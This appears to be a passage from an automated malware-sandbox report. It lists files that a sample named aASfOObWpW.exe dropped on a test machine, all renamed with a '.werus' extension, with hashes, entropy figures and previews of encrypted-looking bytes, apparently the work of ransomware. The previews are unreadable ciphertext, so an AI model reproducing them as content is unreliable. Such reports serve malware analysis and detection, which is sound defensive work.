Preview:	i6QYE.f..Z......t..4...Q.2p..u.'-.Q.x.#s7S.)O`b....5.m.\....w.u..........n...$..A.....(S.U...^..._..4...i...........(2.].,1.w%K..6J.to4.....R0+.O.. U.....Y..`.y^05#....^......9..1ZY1...\...pS..!~.-Q.........)..~.....b.c.'+.....O"/...v%..$m.._^.....f..2t........\..i..(a.P.....d.Z96..c...R....'0>...h.N...SF....a.2...L..C.Ua...4....3R.R..h..._.."x..7.. .f0.Y..q..f..oh..P4I.m...m..f5........U...QW...RX...`/..S.P.2..xf^)T_./E....>m...I..O....dG.S\.0..H..L.t..W(.@....ZlE..b.iT...7NX....u.62(.3&4......f....\|.s1[..M\|.xw....A....u.`w.`....!.d%i....."....(.W.&*rEx.....'..$!1.V....l.p..)@....B.[.$.f......u.....1.t..to..>.9U.......sp."...O....%.]...I.D..a...5.G..2>...y.aa..c..[..&....f0...>.d>...h...]{.2{dk.`..L..S..rHgo.A..o....pk.<.fM?.)..H....;...9..#q..J...&.q.6.8.q.U...tJy...=......B.g..d.....w.h..Rd0..#..W....?..nF...K.D..........y.W....b._.NY.Xb.L.i.i..i..F.'d.`..9M..=..3..XX..ER'E..........\|.......].#.C...FzV. .-....h.....c..Y

C:\Users\user\Desktop\EFOYFBOLXA\DUUDTUBZFW.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.799290941677727
Encrypted:	false
SSDEEP:	24:SOQvZaV5IO5e/qgJ2DPxaxMT30UJIeaHtrhDw:SOms5IsgJmPxaOIhNw
MD5:	120AB6BFED01989093F2734686E84F9F
SHA1:	757F4BDE3BE9A873C4E5FF19045D06AE36064ECB
SHA-256:	9BE677DE00FF4F05D3A669715035F3AF023328AE9C3E7A02F537C2D218397593
SHA-512:	B04A3B7C0BE4B7EFE0479838A59D5B4B393E64B6D01BFC3D904B83CBF3E6F8F12A23B23E6547F0B703A4B1AFF2A6BC29B506B6C6A6571CE4839ABBFCA2955982
Malicious:	false
Preview:	.P..?...5.K..&y..7bz_SF....Me..:G.......]..;!..?...S.....?.....7.;i..E.R'....w.N....R........z..p.N..#................S.8..u......pr..@.U.L..".<...(....Y.SS..J<A.CA..A.&...YM.d...y.'E...G..\.D.o...@h....MM.c.X\{...{n'.8>f.....o...Y.....>...'.o.q9.K..HtN0!.bPcd.?C8.gr.13m%..O...2...Y^y..rL....f...8.. ...r........C$g.P.......c.^..+.f....m~...yK`.P..G._..bq..fSP......6...-..w..\x....Q...b.L.&;@........s.V...}.v..P...W..Y.B>........{.I...nr.k.v...o..c.....H..S..#H@.?..h"h:...C.f.bD..@.....s!..t-....{?.......O.Q...~.I.kt..D.e.69.....V...F.. eT..Y9.?.....M.=.<...7......].,>....O...\|mo.G..l^..[.a....a+.^.....R......)Z..l.......y.I...Z..w.;....X.(9...1..N.e..k....[xf\|.......t......P.x...w..w.N.......[?....F......]b...1z5.&..=.@.10.;....q..S....\|}a...S.o..sA..}..H.\.....sf..1..[.-5..RI...0K....v.k..!a......#.'0...<.....,$...^.n..gc...".-..C..~1..._.0.o...Kk..T..1.xU4.N...WyX...%.A.E-...~.K..d.zEw.;r`.).l..H.O..,..~.....S....m.....A

C:\Users\user\Desktop\EFOYFBOLXA\EFOYFBOLXA.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.799624475284229
Encrypted:	false
SSDEEP:	24:Xz7+GlPkYmBJKGgzXITyKR6mpyEvNt49WxOb/ewceO:XWGXIh6xYI5ewceO
MD5:	B5B01B02FD9842BA8576AD743454FB0F
SHA1:	4613260115CF4CC4C38BBC5839437209AF600629
SHA-256:	0A64A3480B4A2AF1484CF62225025E62E906805C1D30273AFC565F2B69DEE41A
SHA-512:	F8AE1EC0FEB63D16F51571DE6CCF032C28E0340D2AA2E11F94E31A0177ED1A72CDF09E35C1B7A39F73EB0071277A65907CFD1B9F903120957BBF15252ECE3350
Malicious:	false
Preview:	....ow2....of....t0....A........0.R......dp...i.....H..T....Y..w#[.....SH.N.>E9.....AY.h.....[.F).8z.^0g....\...<7!.....%...=Fm...(....f\|.I......2.,.w6..........R..-.}e.............s#SU...... +=f...f..vc.}.:...%...Qx....K.....`>.l.`.V%...u..h.2..k#r.p...T.c...s.1.j.s5SnN.Qg.7'..;%.#.S.,...U.sv.F.X...].......T{....A..d...%.ye~...<Z.W.:..w...?).K..v..B,..[.A..eX.I..l.]N&.Q.....O.A.....">.....R...201@...G....j...h...\|E.^.B..d.b.. .~(....EbO~...oZ.%9%..'..So...U.I......+.0.q..i.4&...:...AQ$..u"..qK...}.....-).Gf.....{..X`......\|.i. .C`mt.K.1c.,.Gh..S.B...$..NQ.2"...I"$_.!;..ur.G].d..T"..M2.;..}._..>..H...H.J4.. .8..9..#.......).k..u..-......V..........(..5[.BO.c$...3.r......}...$..8K........E.._!6KQBx.O..0.r..}....&...snJ._....].V..._.H...s$]......\Z]..E.U....k..e....w.k.L....ja.,..z.$....\|......S....qg..J....lY.k.P.l.k.. ...d...XL.k.U.}O...z.T..=..w\..{z........e8^......S.Uy...LU.....{.Rh...'3..A...nn2=R.......g.q...n...(:.Z.lQ.+...zZ

C:\Users\user\Desktop\EFOYFBOLXA\EOWRVPQCCS.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816738898950369
Encrypted:	false
SSDEEP:	24:VujwIdjZR+386UdwVG/vxMJl6grUYiXQqG09Un/jQz3J6U:kjDWsx/6JFriXQqG02n/jC3Jx
MD5:	CF80219882C59B15B3D46D44FC48DCC1
SHA1:	CC5ABC5E3344B6A1304EC6472DCC30EF5B15BE88
SHA-256:	0D0DEFB01D5B0FDACDDA8B8344B9BD0DF6069F75BD574C6940270AFA27F611BA
SHA-512:	A10B7BCF2F0030F4E1454101891123FC427A0E0D3B0682C71E25B13BAB88F7C8D72B7F046B02C784B3496321199E4079BC38D9E59F611BD0BFF0E70DD42B9A2E
Malicious:	false
Preview:	s..]..E..W'...M.-..a1.9...;...~.V,&.g......FF>.T..ap6..;......OEH.T\L"...>.t3-y.>z....$j7......B.Wn....x......T....o.v.A...4t]o...CveOb.q...2....3nTm....U.R.!-.d.E..[,B.K...%!.....5(..W..%F.t+i..2..{i..#.....,...".W..$...~98..Zg3P....W...>{+py.v.~bjd....L)g..D..e....rrX.y..^.h./i(...)d..... e~..>.Q.'...,/J...W..+_.5.UI.........\|.v..NY..<.y.u..+..m......R.kc.....AQ,.[d. .gp. ..)P..k.<......\..^..B..uV.G.R.1..,.......zp.))(.......Y...F........s.......@...`.m....."f[T.`.{..e.....U.....C..{[.T.H?.?...~@./.....'5"........4...G.o...Wn..)........Q....e......h.Q...Z...+.P8V.P..7.E..d...+.I......N.oE.`.n......1.rd@.d.L....z...S..?...J.i.2....).@..v.-.q..uc.......g. x.5+...K.p.........#.....&..sJ....OZ.g.z...$4.:.1J./G....,Z......?N.>E...........12$0.\..^......p..jR..{uH..$V-M.....\|v..PI..C....Hwk.o...4..)Y....9.;..;.r.......)....\.a7..Jg.....s..V...H..A...*B..l.ij^1.....G..d$..{..A#Q..vB..N.Jt...3..x.t....Q.?,.RB.qf...#.p......;..hW...

C:\Users\user\Desktop\EFOYFBOLXA\GRXZDKKVDB.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.809568908474834
Encrypted:	false
SSDEEP:	24:qhxkN4mozVeTty7bMLc7l0cYsL+DzY3LHKeq5:qhiN4moxqy3+ch0C+I3C
MD5:	8466B313D46E73041F55BCE03DCE16FE
SHA1:	A445FAE6BBD416AE38E637CF5AA8E75942947DE4
SHA-256:	438F9FFF21A589728EC5A82DFE462B4597AA662A416629E4CA70DC0D66E6A42F
SHA-512:	122D11A41A95FA95CBB8B5CABF49B4E9A06F103C7689B06FC2A320980A752D364B4E1AEF89B986329966A0899A8965E4828D3384DC87E4A562A64EEC9AC42F6C
Malicious:	false
Preview:	$x7........_<...Y&H5ys%.(....tzd.....c.p.........v.....Z...!My..;....P.?F...\|K.m.{.........m.97P.sc.5.......~...qb..B..B.......J...Hv....<..7........i){..9..\|..E.gD..t.1.d...%.@...g...Y.J%.....z.x6.a.%........&...=.Z...fG.0...[..R.O.x.ba~C.0.....?M}.^z....bi.17..k.L..C..Ys.<..;...~t....q].......#U..@...E..R`s9;._.9'....\~.g.k..2.Z#&Mi..!......}3h....6.....)...[j..U.....K....h[..l..\|..^.u....Ub..$..Xw.....O."6..y..Lic.{5._b....5W%0.A..UDo.R...4...B...z..\bL ....a.H.I.#.nMxwz.N.t.+^...Z`..A......3..\Y>.eo.....y.M.@R.PP.P.VbS.....8..H.T....'._....5._D.4<.;p(3.t..K. ........B..R...t.0`.0v..#..$.q.n..v..3...H.l)ph...KQs8......H....s.n..#.N..m6...3.wb/..z.GHFe-...J....%.......%.2.....6.......g...q...O'..f..3.kLb.&...[A......\|.R..9.....h..@6..3...z.<..g.........2....d.).%Pm.]n<h.....}`....p..6.........i+N.....=O....gfA.. TN....W...[.S...-....rG.._o..;.E..._.o....[..s.\|p....=.....zy...L.G.=.....]............$&K,.~]q;...?WC@...Y.....o..,.

C:\Users\user\Desktop\EFOYFBOLXA\PALRGUCVEH.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.840208669079804
Encrypted:	false
SSDEEP:	24:KuPGlJl/s4OiqAER8SFP2nmJD+m6EUS5iY40OJ4+AJ8fwS:KuS/zOihO4oD+FEUS5iDK84S
MD5:	BE61D2C566E7CBC0C0286D1FB200BB6D
SHA1:	6F95B797824736D8FF6312531E8C62BD08F901C2
SHA-256:	B9EFCC9572840D287BD955DAC9C24B96A8C285FB2B9EB261F0A9DD5211C983D9
SHA-512:	B133A35C5046180AE5E5F0777FC687E70591F240A518AB63B04F25624C1201C9183B8957FF976F5D1560C0F18E02E56AAD7698450F6FF9075CE3589479EC474D
Malicious:	false
Preview:	.x..u.O9p..i.Q48,q...K....!+1...]Z,^=.w.0.^.>H.j.V..H.eE..}..c.`.m~.C.....B....k.5(.X./.i...+..Ni.SO.VQ...[."j.C._. a2....{...n.n.&..u.e...C2.k.T..=..#-.O..R...7..@.B...rC.....^...e$.W...(l.."..,..)h.).,+.o._...../.5..2Z.V.U.w/L...n......)f.%uz....}...Q..)]....=.S..,.`....M.[a..oX.....T$.q.....Z.tf8...?F..->...q.k...(...Z......UNZ.l...IDq.c.U..'e.}~..9l.uN.z#.....t..G{...P..e.....[..?g...Q..l....[9....c..a~......r....H.v...kc6.e..,?.... G0.x 3....w.#...h.._b.....8..A...d....r$...O.\|n+Fe.....Y6s..K[BH=....s!.;.D....Eub.d..\......y..c.z(.%J/(....U\c.{.a.L)b.J3..-.rcY.$..d.....(...]L2....wn..WT.J.n...0c.BY_.....&.8.H..q4._.2/=.d...m.nvfZ.4{....K.).8......p......%.t..Cc.....u...W....j"C....H.\..7....G...;.U......u....$..* ...;z.w.q.f..~n.......^.*.e..']..$;/........{.~..(..+k...,F.tX.7...f<$S.lDd.Q(=..P2.,wm.0.\|..}r}..w.}...v...l...-..c.?#......v..!W.=..NOs...g.5...I.8a.c\..}......./]H+.Z.. .r....9\..R...Py...@U..ZI@:......<.[.S..u..

C:\Users\user\Desktop\EIVQSAOTAQ.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.794179227090859
Encrypted:	false
SSDEEP:	24:hG5WlvByrhqL3h3LyXNtHlHoM6ltSukA/n5K8PA6x94m7VlO2:8E2ALZyFHgbNkq4I02
MD5:	24C5BC94343E363D833DAEDEC1DB9AD3
SHA1:	FE51772B474BED28B31A894CEEE32ADE2DCCC4FD
SHA-256:	27D930E8EF3B82CBFAECEC1FF15215B4D391F0B21264C393BC53F793A8F8585A
SHA-512:	CD347224EDC054737CBB1A76EE09212F6304889D76C29113375B5953D7783C16E09370C000550E750A408EAD538D4BAFBD9FB472206A312C7135A5E346E9DB14
Malicious:	false
Preview:	.._7....vl..j.4m..9..}9P...1..e.....t3.......~.Y5[1..Z....9@.X.j.p1.oCwt.N:~&&....<..J2.@..v..=.=....&6.....z..A#..Tq.>C.Bc.B.2$...'..c.....).@..D...@...(.....7D..7..5.Uw=.s'vl.z..@......_m.N.e..k.....'7..........kZ....7<.A.).#\|.\|..E......q..._A..~P.....+.H...s..1-......NfR...e`.X......f...D..WKC0...j...8..^..%....r.Uy3.qK..J_...Q...u~GHNF7F.V.....j+......R......e.F8...x.&H.n.+.F/.W.c....[H..upYt....)9#.`..d.]r...`..;.n..S..........g.K].J}..I.)...+...u...&..?4Q&r.dKyM..N...f..B.l..p.....S`..ba`V.Y.w...5......f.......J...W....cn?..8....f......]E@..+....[......D>.6.w)'M`k./h..P.z.6.LO......i...v>op..%..^g..0.N......."\|0dV...)....Q.....F.8.h.=..$8...nT.\.O..q*.q.C..p...agX.Y......-.A5...K.A8.C..[K.7.k%.P.Ln..\|..9Y.6....w../.9.H{.\|...N.j.E.li.C.r\&3==.....@.._....E..._.Z.d...q......`.......<...;.C.5k.r^..J2.......[..t.#.8...c"<... ..'z...(v...OfC..#^..X...w.."..}.^9..6..sw..Y.E.O.a.}....c.~=...G.?.......i.."Y.E...f{..9e.........

C:\Users\user\Desktop\EOWRVPQCCS.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816738898950369
Encrypted:	false
SSDEEP:	24:VujwIdjZR+386UdwVG/vxMJl6grUYiXQqG09Un/jQz3J6U:kjDWsx/6JFriXQqG02n/jC3Jx
MD5:	CF80219882C59B15B3D46D44FC48DCC1
SHA1:	CC5ABC5E3344B6A1304EC6472DCC30EF5B15BE88
SHA-256:	0D0DEFB01D5B0FDACDDA8B8344B9BD0DF6069F75BD574C6940270AFA27F611BA
SHA-512:	A10B7BCF2F0030F4E1454101891123FC427A0E0D3B0682C71E25B13BAB88F7C8D72B7F046B02C784B3496321199E4079BC38D9E59F611BD0BFF0E70DD42B9A2E
Malicious:	false
Preview:	s..]..E..W'...M.-..a1.9...;...~.V,&.g......FF>.T..ap6..;......OEH.T\L"...>.t3-y.>z....$j7......B.Wn....x......T....o.v.A...4t]o...CveOb.q...2....3nTm....U.R.!-.d.E..[,B.K...%!.....5(..W..%F.t+i..2..{i..#.....,...".W..$...~98..Zg3P....W...>{+py.v.~bjd....L)g..D..e....rrX.y..^.h./i(...)d..... e~..>.Q.'...,/J...W..+_.5.UI.........\|.v..NY..<.y.u..+..m......R.kc.....AQ,.[d. .gp. ..)P..k.<......\..^..B..uV.G.R.1..,.......zp.))(.......Y...F........s.......@...`.m....."f[T.`.{..e.....U.....C..{[.T.H?.?...~@./.....'5"........4...G.o...Wn..)........Q....e......h.Q...Z...+.P8V.P..7.E..d...+.I......N.oE.`.n......1.rd@.d.L....z...S..?...J.i.2....).@..v.-.q..uc.......g. x.5+...K.p.........#.....&..sJ....OZ.g.z...$4.:.1J./G....,Z......?N.>E...........12$0.\..^......p..jR..{uH..$V-M.....\|v..PI..C....Hwk.o...4..)Y....9.;..;.r.......)....\.a7..Jg.....s..V...H..A...*B..l.ij^1.....G..d$..{..A#Q..vB..N.Jt...3..x.t....Q.?,.RB.qf...#.p......;..hW...

C:\Users\user\Desktop\EOWRVPQCCS.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816738898950369
Encrypted:	false
SSDEEP:	24:VujwIdjZR+386UdwVG/vxMJl6grUYiXQqG09Un/jQz3J6U:kjDWsx/6JFriXQqG02n/jC3Jx
MD5:	CF80219882C59B15B3D46D44FC48DCC1
SHA1:	CC5ABC5E3344B6A1304EC6472DCC30EF5B15BE88
SHA-256:	0D0DEFB01D5B0FDACDDA8B8344B9BD0DF6069F75BD574C6940270AFA27F611BA
SHA-512:	A10B7BCF2F0030F4E1454101891123FC427A0E0D3B0682C71E25B13BAB88F7C8D72B7F046B02C784B3496321199E4079BC38D9E59F611BD0BFF0E70DD42B9A2E
Malicious:	false
Preview:	s..]..E..W'...M.-..a1.9...;...~.V,&.g......FF>.T..ap6..;......OEH.T\L"...>.t3-y.>z....$j7......B.Wn....x......T....o.v.A...4t]o...CveOb.q...2....3nTm....U.R.!-.d.E..[,B.K...%!.....5(..W..%F.t+i..2..{i..#.....,...".W..$...~98..Zg3P....W...>{+py.v.~bjd....L)g..D..e....rrX.y..^.h./i(...)d..... e~..>.Q.'...,/J...W..+_.5.UI.........\|.v..NY..<.y.u..+..m......R.kc.....AQ,.[d. .gp. ..)P..k.<......\..^..B..uV.G.R.1..,.......zp.))(.......Y...F........s.......@...`.m....."f[T.`.{..e.....U.....C..{[.T.H?.?...~@./.....'5"........4...G.o...Wn..)........Q....e......h.Q...Z...+.P8V.P..7.E..d...+.I......N.oE.`.n......1.rd@.d.L....z...S..?...J.i.2....).@..v.-.q..uc.......g. x.5+...K.p.........#.....&..sJ....OZ.g.z...$4.:.1J./G....,Z......?N.>E...........12$0.\..^......p..jR..{uH..$V-M.....\|v..PI..C....Hwk.o...4..)Y....9.;..;.r.......)....\.a7..Jg.....s..V...H..A...*B..l.ij^1.....G..d$..{..A#Q..vB..N.Jt...3..x.t....Q.?,.RB.qf...#.p......;..hW...

C:\Users\user\Desktop\EOWRVPQCCS.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.816738898950369
Encrypted:	false
SSDEEP:	24:VujwIdjZR+386UdwVG/vxMJl6grUYiXQqG09Un/jQz3J6U:kjDWsx/6JFriXQqG02n/jC3Jx
MD5:	CF80219882C59B15B3D46D44FC48DCC1
SHA1:	CC5ABC5E3344B6A1304EC6472DCC30EF5B15BE88
SHA-256:	0D0DEFB01D5B0FDACDDA8B8344B9BD0DF6069F75BD574C6940270AFA27F611BA
SHA-512:	A10B7BCF2F0030F4E1454101891123FC427A0E0D3B0682C71E25B13BAB88F7C8D72B7F046B02C784B3496321199E4079BC38D9E59F611BD0BFF0E70DD42B9A2E
Malicious:	false
Preview:	s..]..E..W'...M.-..a1.9...;...~.V,&.g......FF>.T..ap6..;......OEH.T\L"...>.t3-y.>z....$j7......B.Wn....x......T....o.v.A...4t]o...CveOb.q...2....3nTm....U.R.!-.d.E..[,B.K...%!.....5(..W..%F.t+i..2..{i..#.....,...".W..$...~98..Zg3P....W...>{+py.v.~bjd....L)g..D..e....rrX.y..^.h./i(...)d..... e~..>.Q.'...,/J...W..+_.5.UI.........\|.v..NY..<.y.u..+..m......R.kc.....AQ,.[d. .gp. ..)P..k.<......\..^..B..uV.G.R.1..,.......zp.))(.......Y...F........s.......@...`.m....."f[T.`.{..e.....U.....C..{[.T.H?.?...~@./.....'5"........4...G.o...Wn..)........Q....e......h.Q...Z...+.P8V.P..7.E..d...+.I......N.oE.`.n......1.rd@.d.L....z...S..?...J.i.2....).@..v.-.q..uc.......g. x.5+...K.p.........#.....&..sJ....OZ.g.z...$4.:.1J./G....,Z......?N.>E...........12$0.\..^......p..jR..{uH..$V-M.....\|v..PI..C....Hwk.o...4..)Y....9.;..;.r.......)....\.a7..Jg.....s..V...H..A...*B..l.ij^1.....G..d$..{..A#Q..vB..N.Jt...3..x.t....Q.?,.RB.qf...#.p......;..hW...

C:\Users\user\Desktop\EWZCVGNOWT.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.815732990822623
Encrypted:	false
SSDEEP:	24:oqFkXrBkgsYFANgkZhCnSQVdgV8sdKORhbimGb:oOm2gsBNd3QV0Prbij
MD5:	26B8E50814239A6FFE212DDB0F07ACF6
SHA1:	369818435AAD622D49A150ACA2C31D842A9F933E
SHA-256:	1BB7FC240AE092410B24AEA411646F284930B6E10313DAC576ACC28DF361891A
SHA-512:	8DFB4C9BFBE98A23465EAD03D24D7493DF0F7552F580EB26D0E3436C8F37B2AE535B25C3BFDC3294BBF5F0E92F8697D077A4DF4E163C15A179565ADE7DCFCA7E
Malicious:	false
Preview:	/k.!\..!3...F......}........,]....g.L...y.8....M.<?%2PR.a.B.&T....^....`=.=.9z^6...B..].....U.b..x...$...r.m.'e4.......i..B....-9..Q........A+Z.?;u....y.9.N...<v.`.8....[...#H...E...3.)..%ma.e..7....XAt..T.G...K+Z..y.BO.E-bq......7 bwg.XK6...Li#.f.h.....`.#>M6._...V.R.../J/.W.C... /.uI..$..]...{m..5h......:+.8...].eB4kR..ob...5......q..w...>...........[....?[....:.......X..1..52......#.4.n <......<FQ6.O...2.....j..>U"....%b{k..]......[.......~..O..qk......B..":..=.......==..U.k..\.gs)..-..G......P...4..Lg.;.........dY..T.....0..J..Oz[..Y..cK..<....i....a..Le.v..^}4..)..0...BkYtTNB..X.ER..d.501.e.PwO..&!.6.l5...I.....Q.X`....jWs-X......fG..y'aA..Y...^..c.V..Mh......{.....T...0{`..w.J.....py$.h.J..:N...>.Vl.[3h.X......oi..!.....Y ,8....`..dU...g...KX.^..}.Z.Q.^..lK....Z.K..K..'.R..}..s...:.fU..-..j7....Y,c,....\|q\|6Y....Xk3..........l#...g^.u-!....c.....4......].=..:.3....SNV....%S.z?.^..kB.D.#...G......../.K.C..(/..ei&\|.?...:....h

C:\Users\user\Desktop\Excel.lnk.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	2464
Entropy (8bit):	7.931372476739594
Encrypted:	false
SSDEEP:	48:4/pqbZVyiy9I81DBLfBsBgUOiENjxjI09DDOMNzl7mVX5pQS:4hCbWI81DBLfBygUO1JKf7N
MD5:	F22DDA8015D6C999ECA91A016517BC57
SHA1:	6D430ACBFFFC7B3DF057880E255335205FF7EE4C
SHA-256:	92C7DCE167DE9B59199BAD10D52E6E3A5C414E3F76F1EF5247AFE94610AC63FA
SHA-512:	13626EA8A5E59A9D691752CC56C931E61D1099C66F8AF78A47AF0D91C878178753D4D32EE35F439225186FE621C1203A0C939F23FDA68C1E11B6EF29A04FC104
Malicious:	false
Preview:	.&.........r.....,..ce...]..;Y.U@...r.RH...V....5..0\|:.....w.C.C.J.BZG.&:.....`Of[..L......\GQh....`9P.U...$d.Q.-../..l.v....xD...e;Q.!.....\|...X..`.1.5."n.Eq.6A.-..........!,......L...?.z7..W..n/+.E..Po...AN....L..#].$.....n.........\|H....zdu.!........\|..=..1d.~..Oh.dx....;....yr!_.....T.......K.".D...?.s.6..9.{.F!......9..4..>...1.m.....3x[....:__..;;../.C).@9.G.q$.$.~.......h...{..U..z..m.y...;.~.#..s>.XY.P$n..u.....f...}}.t...h..{........S.<...<....b4z.A..AP5..].`.)..;...}.Ml."-...6.....W...~.J..`.Ih...../.A."...j.-....SF..\..Lcy...1.Q-...x.^..N..a....H.....8..h.9.....1..-_7......K._u#Puc9b.g.Z...<@...-.{.r..'....:7Y.C.r.."(.Z.Z...9.%..#VH...h.c.;tv..d9...>..@GS..gt\."..b.u\|.f.....7.+.........cU.&.t......C.$..m.4/o.px...:...@...C).Qp.0..i\|6...#.....1.>%....\|@.....R$.....I).3[$a...S<0.....<v...Y.0.Ts<..]z.ew..{&.~....r......{.O.:.P....-...xZ...P....+7m..@.D .)..h<.%....7.... ....X....4......z._.,....f...A......Q.r=..S'.F;...~

C:\Users\user\Desktop\GIGIYTFFYT.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.844326187672133
Encrypted:	false
SSDEEP:	24:N0WcPSPcnCIvN3Z0KAvcJxS8rDAogzWsq/6eG/O1A60wspYxrfV:WP8SN36XvYEoCWfqYA60VI
MD5:	2B794A3B87F1D2D9929712C391D7FF89
SHA1:	524F9C17EBBA80671A5DB7C26F01254CC48B245C
SHA-256:	3D324E968BB6605C81C234A3326B68D4226B742A88044EE28D8A9448DEDD195A
SHA-512:	77CB3BB39E49C59E583F33C4230E3B037E2B854F75CC9D7DA29E1999BB06B8A9FDB25D7CF05A15A8D21C2BE497407C6F09D7EEC9878D16A1C8B5E45C0AB14190
Malicious:	false
Preview:	....1!..j.Zi..<...q.=.J70.X.?a.... ~._..s.b.^....R)..0.fp.P;.Y..s...0ZR..b.k/.v...q..t......w..BB.H.3@mT..7.$....O....c^.`.>.N@Z..,.....w..i.{........I..@....k.H1.)1...0~.....jy5.......8..AE.T~......-..I$8.q..{ ..._...p_.P@7L.Nn.0q....P.%l...l.G.+.0.._NV..jz..f%].U.(.Q..Zv-.9.....f...x?.z.<W.}......;\|......e....>..^a...M...4!"....X..........(...Q$M......Y..../f.$...'.f...Ll...M..-L..F...../..Q6..V....@.V......$..l...?@...\.s...xa..@.4....+rQ..fE..V?....(....Hr..p.r,0(z.4..t.Tx...!J.......opS..vyf../..>(h.<O....Wj.....-..#...1.. d....zj#.e^...s}~S....L.s...n.....a..}w.)...b.0r.....t.a"O.. .UDs..8W....c..T...w....<...]C3...G..U.T.?.mjY.B..q.w..Ac.G..../.]...u..z..!u....x...])KM"!^...!....&..J..D... ...2+Q.C(...m..O!...}\..3.....ur.v.z,5vG\.o.qJ..@..!].o.>Z.$h..@..wo.L...~s.g(k....Xz....J>.....5H.$4......e...J<.s9..%0.P.....y..dw..@......SF...t.I........%@4$... .".b4.l.M...U=.f...kPYr.T.....k.Z>......O.u. ..!_c.......T...]1...2.

C:\Users\user\Desktop\GRXZDKKVDB.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.809568908474834
Encrypted:	false
SSDEEP:	24:qhxkN4mozVeTty7bMLc7l0cYsL+DzY3LHKeq5:qhiN4moxqy3+ch0C+I3C
MD5:	8466B313D46E73041F55BCE03DCE16FE
SHA1:	A445FAE6BBD416AE38E637CF5AA8E75942947DE4
SHA-256:	438F9FFF21A589728EC5A82DFE462B4597AA662A416629E4CA70DC0D66E6A42F
SHA-512:	122D11A41A95FA95CBB8B5CABF49B4E9A06F103C7689B06FC2A320980A752D364B4E1AEF89B986329966A0899A8965E4828D3384DC87E4A562A64EEC9AC42F6C
Malicious:	false
Preview:	$x7........_<...Y&H5ys%.(....tzd.....c.p.........v.....Z...!My..;....P.?F...\|K.m.{.........m.97P.sc.5.......~...qb..B..B.......J...Hv....<..7........i){..9..\|..E.gD..t.1.d...%.@...g...Y.J%.....z.x6.a.%........&...=.Z...fG.0...[..R.O.x.ba~C.0.....?M}.^z....bi.17..k.L..C..Ys.<..;...~t....q].......#U..@...E..R`s9;._.9'....\~.g.k..2.Z#&Mi..!......}3h....6.....)...[j..U.....K....h[..l..\|..^.u....Ub..$..Xw.....O."6..y..Lic.{5._b....5W%0.A..UDo.R...4...B...z..\bL ....a.H.I.#.nMxwz.N.t.+^...Z`..A......3..\Y>.eo.....y.M.@R.PP.P.VbS.....8..H.T....'._....5._D.4<.;p(3.t..K. ........B..R...t.0`.0v..#..$.q.n..v..3...H.l)ph...KQs8......H....s.n..#.N..m6...3.wb/..z.GHFe-...J....%.......%.2.....6.......g...q...O'..f..3.kLb.&...[A......\|.R..9.....h..@6..3...z.<..g.........2....d.).%Pm.]n<h.....}`....p..6.........i+N.....=O....gfA.. TN....W...[.S...-....rG.._o..;.E..._.o....[..s.\|p....=.....zy...L.G.=.....]............$&K,.~]q;...?WC@...Y.....o..,.

C:\Users\user\Desktop\GRXZDKKVDB.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.809568908474834
Encrypted:	false
SSDEEP:	24:qhxkN4mozVeTty7bMLc7l0cYsL+DzY3LHKeq5:qhiN4moxqy3+ch0C+I3C
MD5:	8466B313D46E73041F55BCE03DCE16FE
SHA1:	A445FAE6BBD416AE38E637CF5AA8E75942947DE4
SHA-256:	438F9FFF21A589728EC5A82DFE462B4597AA662A416629E4CA70DC0D66E6A42F
SHA-512:	122D11A41A95FA95CBB8B5CABF49B4E9A06F103C7689B06FC2A320980A752D364B4E1AEF89B986329966A0899A8965E4828D3384DC87E4A562A64EEC9AC42F6C
Malicious:	false
Preview:	$x7........_<...Y&H5ys%.(....tzd.....c.p.........v.....Z...!My..;....P.?F...\|K.m.{.........m.97P.sc.5.......~...qb..B..B.......J...Hv....<..7........i){..9..\|..E.gD..t.1.d...%.@...g...Y.J%.....z.x6.a.%........&...=.Z...fG.0...[..R.O.x.ba~C.0.....?M}.^z....bi.17..k.L..C..Ys.<..;...~t....q].......#U..@...E..R`s9;._.9'....\~.g.k..2.Z#&Mi..!......}3h....6.....)...[j..U.....K....h[..l..\|..^.u....Ub..$..Xw.....O."6..y..Lic.{5._b....5W%0.A..UDo.R...4...B...z..\bL ....a.H.I.#.nMxwz.N.t.+^...Z`..A......3..\Y>.eo.....y.M.@R.PP.P.VbS.....8..H.T....'._....5._D.4<.;p(3.t..K. 